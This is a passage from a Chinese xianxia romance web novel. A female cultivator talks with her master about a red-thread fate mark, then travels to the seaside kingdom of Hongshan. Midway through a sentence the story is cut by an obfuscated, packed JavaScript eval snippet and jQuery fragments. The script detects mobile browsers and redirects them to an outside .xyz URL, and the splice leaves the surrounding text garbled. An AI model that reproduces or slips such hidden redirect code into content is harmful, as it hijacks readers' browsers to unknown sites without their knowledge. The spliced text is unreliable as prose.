林清风声音不算低,带着几分困惑,讲述着自己梦中的一切,逍空挑了挑眉用手指掀开林清风的长袖,露出一截小臂。
手腕上缠着两圈浅红的折痕,确实像是一条红线。
“什么时候做的梦?”
他分了一股灵力缠绕在林清风手腕上,红色渐渐消退,也没了刺痛感。
“他还在浮云峰的时候,在他那里做的梦。”林清风挑挑拣拣地说了些,逍空替她拉好衣袖后沉吟半晌,“今日第一次觉得疼吗?”
“嗯。”林清风体内的疼痛已经全部消失,她抬手给逍空倒了杯茶,“只是今日,不知为何。”
“姻缘之说,确实有这个可能。”
逍空手上掐算着,“那你对他是什么感觉?喜欢吗?”
砂锅里的水咕嘟嘟冒泡,柴火噼里啪啦响,单仪景站在锅前,渐渐隐没在了阳光里面。
“她是我命定的道侣,我敢确定。”
虚弱惨白的脸说出的什么狗屁红线,居然是真的。他偷着林清风的气运,还是林清风的命定道侣,居然还想要再来浮云峰,龌龊又令人恶心。
可是...单仪景心里却慌张起来。
那一根红线化作实质,从他眼前飞到林清风手腕上,像情人般呢喃后将另一头系在了另一个男子手腕上。
红线断不了,中间还会有一朵喜庆的大红花,周围宾客恭贺,新人拜堂。
咕嘟嘟冒着的水渐渐变得发红,又像是浓稠的血泛起一个个泡泡,没有一点眼力见。眼前浮起一片浓烟,激得他抬手打落砂锅。
滚烫的沸水浇在他的手上立马烫起几个大泡,在白皙的手背上显得可怖丑陋。
沈落听,该死。
院中落下一只灵鸟,歪着头叽叽喳喳,林清风沉默半晌,最终淡淡道,“奇怪。”
她见了他心中总是难掩战意,亦或者杀意,在做了那个梦后更是觉得诡异,所以没有任何的其他念想。
“那就从心。”逍空停下卜卦的手,“刚刚算了一卦,却也如同你这梦境一样有些模糊,看不清。”
他看着林清风带了些冷意的侧脸,“他若是真来提亲,你是想亲自来还是我替你说?”
这一次林清风沉默得更久。
她确实不喜欢沈落听,可这不代表自己对这红线不好奇。
之前小拇指上的折痕已经消失,是否说明手腕上的也可以消失?
若无法消失,真是命中注定,林清风摩挲着手上的棍子,心中渐渐升起一个荒诞的想法。
——那就斩断它。
但在那之前,她要弄清楚这根东西。
最终她摇了摇头,逍空点点头示意自己知道了,眼睛瞥过厨房,转而问起她这几日的情况。
“书看得怎么样了?”
问起剑法,林清风从怀中掏出书颇有些疑惑地看向逍空,“师尊,这第四重到底是什么?我为何总是看不懂。”
她自小就对前朝政事了解得透彻,权势谋划也常得太傅夸奖,进入修道一途后虽然比旁人慢,可从没有如此困惑过。
剑法招式她看不懂,逍空在旁的注释也看不懂。
生生。
“哼,就知道你肯定会停在这里。”逍空拧开酒葫芦,喝了一口后问道,“还记得在焚轮的时候太傅们常说的一句话吗?”
林清风点点头,“公主生来就是要为生民立命的。”
“逍遥宗里的夫子呢?”
“修士该以天下为己任,解救苍生义不容辞。”
“这便是‘生生’。”逍空接过林清风手上的书,指着自己新批注的那两个字,“这个‘生’,是我,是木古,也可以是现在的苏易津,但不是现在的你。”逍空老神神在在,又指了指旁边的另一个“生”字,“这个,是现在的你,以后的苏易津。”
树荫下师徒两人茶杯里热气一点点消失,里面都只剩下最后一口。
“我不明白。”
逍空摇了摇头,眼睛望向厨房,又好像穿过厨房看向远处,声音轻却又很重。
“清风,有些人第一次见你就是跪着的。”
他看着对面认真聆听的女修,眼神带着慈爱,“神魂被打散了,趁着养伤的时候再下一次山吧。”
“想要参悟逍遥剑法第四重,往东六千里的鸿山,有你要找的答案。”
“可冥海幻境......”时间不多了,林清风有些纠结,看向逍空的眼神中带着不解。
逍空抬手摸了摸林清风的头发,眼神里是明晃晃的自信,“决儿,不会很久的。”
他的徒儿不过是暂时进了迷障,想参透第四重还不算什么。
外面传来两声驴叫,隐约还有尥蹶子的声音,哼哧哼哧的像是在催促。
“哦,别忘了到时候以凡人的身份进城。”他指指外面,“得走了,不然你师尊我今天得输钱。”
“......”
她总是很难对逍空产生什么尊敬的情绪。
等逍空的身影消失,林清风转身想去竹林,就看见了单手端着汤站在厨房门边的单仪景。
“好了。”
水煮白菜冒着热气,氤氲了单仪景的脸庞,她隐约觉得他像平常一样笑着。
林清风脚步一转,拿着长棍进了卧房。
汤匙搅动碗壁发出声响,林清风及时将汤匙放到碗边,看向坐在一旁看书的单仪景,“师尊说让我去一趟鸿山国。”
男子似是没想到她会对他说这话,翻书的动作停下,将已经包扎好的手隐在衣袖下,“鸿山?”
林清风看了眼长袖下隐约露出的一点绷带,拿起汤匙在碗底划动了几下,“嗯,大概四五日我便能回来。”她盯着碗底看,没有去看单仪景的眼睛。
夕阳西下,红黄色的光透过窗花照进屋中,洒在两人身上,宁静又温柔。
“这次你不必陪我去,”林清风有些心不在焉,喝汤的动作却不慢,“师尊给的书我又在上面加了些批注,你多看看?”
她放下汤匙,将书翻到剑法第二重,“看,这是我的字迹。”
上面的批注都是根据之前单仪景生涩的地方写的一点点技巧,却能看出用心。
单仪景伤口上有些发痒,心绪翻飞几次,声音有些沙哑,“你...什么时候写的。”明明这几日林清风连眼睛都没阖上几次,心里承受的要比他多很多。
“汤池边。”
话音落下,屋内一片寂静。
她唯一能解解乏的时候。
单仪景的心又开始砰砰跳起来,沈落听什么的都已经没了所谓,拿着书的指尖泛红,直勾勾看着林清风。
“我一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811840|175273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定好好练剑。”
*
白马在夜空中奔跑,上面坐着一个面色冷淡的女修。她手中捧着一本书,夜风吹风,书却迟迟没有翻页。
逍空昨日所说的“生生”搅得她有些迷茫,看向云雾中藏着的星星,始终不得其解。
一个字,居然是两种解法。
林清风合上书,低头看向下方的城池。
鸿山三面环海,地形窄长,沿海的一边停着许些船舫,看起来很亮。
大片的船舫中有一只船只很大,约莫有三层楼高,远远从上空看去都能看出其中的奢靡。
林清风缓缓落在城外,牵着白马看向海边的这一片船只。
上面人来人往,女子穿着清凉,站在甲板上招呼着岸边的行人。里面莺歌燕舞,弹琴奏乐声混在一起却有一种吸引力,引得人想要进去瞧一瞧。
这也只是城外,城中境况可想而知,而那最高最大的,不用猜测便知是这鸿山国君的。
她转过身,进了城外的树林,远处的靡靡之音不绝于耳,夜空最黑之时空中无数烟花炸响,照亮这一片沉沦之地。
林清风盘腿坐着,眼睛盯着那些烟花看,平静又冷冽。
白马站在一旁打了个响鼻,有些不适地拱拱林清风的后背,示意自己身上又出了汗,要林清风擦干净。
“是猪就拱。”
她声音中带了几分不易察觉的冷,翻出一直亮个不停的玄灵镜。
是逍空。
[走的时候给仪景说什么了?这几日他都没炼丹。]
[又在练剑了,一刻都没有休息。]
[你是不是吹牛说自己已经到剑法第四重了?不然这小子怎么来主殿找我说要与我过招?]
[到了没啊,灵石别用了,银子还有吧?]
城外的树林中时不时传出几声猴叫,晃着个长胳膊从树梢的一头跃到另一头,惊起树杈里酣睡的小鸟。
林清风随便回了两句,准备放下休息,就看见平日里混乱无章的公域上突然出来一大片红字。
【那个昆仑宗的,出来受死!】
红字太显眼,里面的激动情绪也明显,林清风点进去就看见自己的名字。
整篇都在控诉之前的人是个骗子,消息是假,骗了无数灵石是真,而上一个假消息就是她与沈落听。
林清风将所有的消息看了个遍,突然想起那天男子进了屋子就抱着她,好像确实是有些生气的样子。
原来是吃味了。
身后的白马又拱了拱她,林清风声音彻底冷下来,“是猪就拱。”
“是我。”
一股媚香传来,林清风转过头就见萧媚生躺在地上,衣袍穿得随意,能看见身上红痕点点,眼角媚意横生。
“前辈怎么在这里?”
林清风自觉失礼,收了眼神,只盯着那张娇艳漂亮的脸看。
“喏,这不是刚刚云雨过后吗?”萧媚生声音带着拐弯,看向林清风的眼睛带着调戏,细看底下却藏着浓郁的黑。
扎着高高马尾的女修往后退了退,低头时眼尾像钩子一样挑起,浅淡的唇扯出几分假意的笑,在黑夜里竟也显出几分妖冶。
“哦,可是前辈,你流血了。”
她声音冰冷,眼睛带着审视与冷漠,与她那张脸莫名相衬。